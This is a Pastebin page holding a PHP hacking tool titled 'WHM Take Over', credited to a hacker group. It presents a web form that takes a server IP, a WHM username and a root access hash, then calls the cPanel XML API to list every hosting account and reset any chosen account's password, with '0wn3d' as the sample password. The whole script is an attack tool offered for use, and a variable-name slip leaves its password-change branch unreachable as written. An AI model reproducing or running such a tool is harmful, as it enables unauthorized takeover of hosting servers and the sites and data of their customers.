Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- #
- # alm3refh.com | Group-XP
- # Name : WHM Take Over
- # Coder : HaNniBaL-KsA
- # Twitter: @r00t3rz
- # -----------------------------------------
- # NOTE!! :
- # Use these scripts entirely at your own risk.
- # The author cannot be held responsible for any damage, direct nor consequential,
- # caused by the use of, or inability to use the techniques or scripts presented here.
- # " AND THIS FILE IS UNDER The GNU General Public License v3.0 "
- error_reporting(0);
- set_time_limit(0);
- include 'xmlapi.php';
- ##
- # POST
- ##
- $ip = $_POST['ip'];
- $user = $_POST['user'];
- $root_hash = $_POST['hash'];
- $target = $_POST['target'];
- $pass = $_POST['pass'];
- $acc = $_POST['acc'];
- $change = $_POST['change'];
- ##
- # HTML
- ##
- echo '
- <!DOCTYPE html>
- <html dir="ltr">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>WHM Take Over | Alm3refh.com</title>
- <pre>
- __ ___ _ __ __ _______ _ ____
- \ \ / / | | | \/ | |__ __| | | / __ \
- \ \ /\ / /| |__| | \ / | | | __ _| | _____ | | | |_ _____ _ __
- \ \/ \/ / | __ | |\/| | | |/ _` | |/ / _ \ | | | \ \ / / _ \ \'__|
- \ /\ / | | | | | | | | | (_| | < __/ | |__| |\ V / __/ |
- \/ \/ |_| |_|_| |_| |_|\__,_|_|\_\___| \____/ \_/ \___|_|
- </pre>
- <b>WHM Take Over @ alm3refh.com<br/>By: HaNniBaL-KsA @r00t3rz</b><br/><br/>
- <form action="" method="post">
- <br/>IP :<input name="ip" type="text" value="ex: 127.0.0.1">
- <br/>User : <input name="user" type="text" value="ex: hk">
- <br/>Hash : <input name="hash" type="text" value="ex: alm3refh-1337"><br/><br/>
- List of accounts: <input name="acc" type="submit" value="# List of accounts"/><br/>
- <br/>Change a cPanel Account\'s Password:<br/> targte-user: <input name="target" type="text" value="ex: target"> new Password: <input name="pass" type="text" value="ex: 0wn3d">
- <input name="change" type="submit" value="# Change"/><br/><pre>
- ';
- if($acc){
- $xmlapi = new xmlapi($ip);
- $xmlapi->hash_auth($user,$root_hash);
- $xmlapi->return_xml(1);
- $xmlapi->set_debug(1);
- echo "<b>[ accounts #] :</b><br/><br/>";
- print $xmlapi->listaccts();
- }
- if($achange) {
- $xmlapi = new xmlapi($ip);
- $xmlapi->hash_auth($user,$root_hash);
- $xmlapi->return_xml(1);
- $xmlapi->set_debug(1);
- echo "<b>[ change #] : Done!</b><br/><br/>";
- $xmlapi->passwd($target, $pass);
- }
- echo "</pre><br/><br/><br/>copyright 2014 © alm3refh.com";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment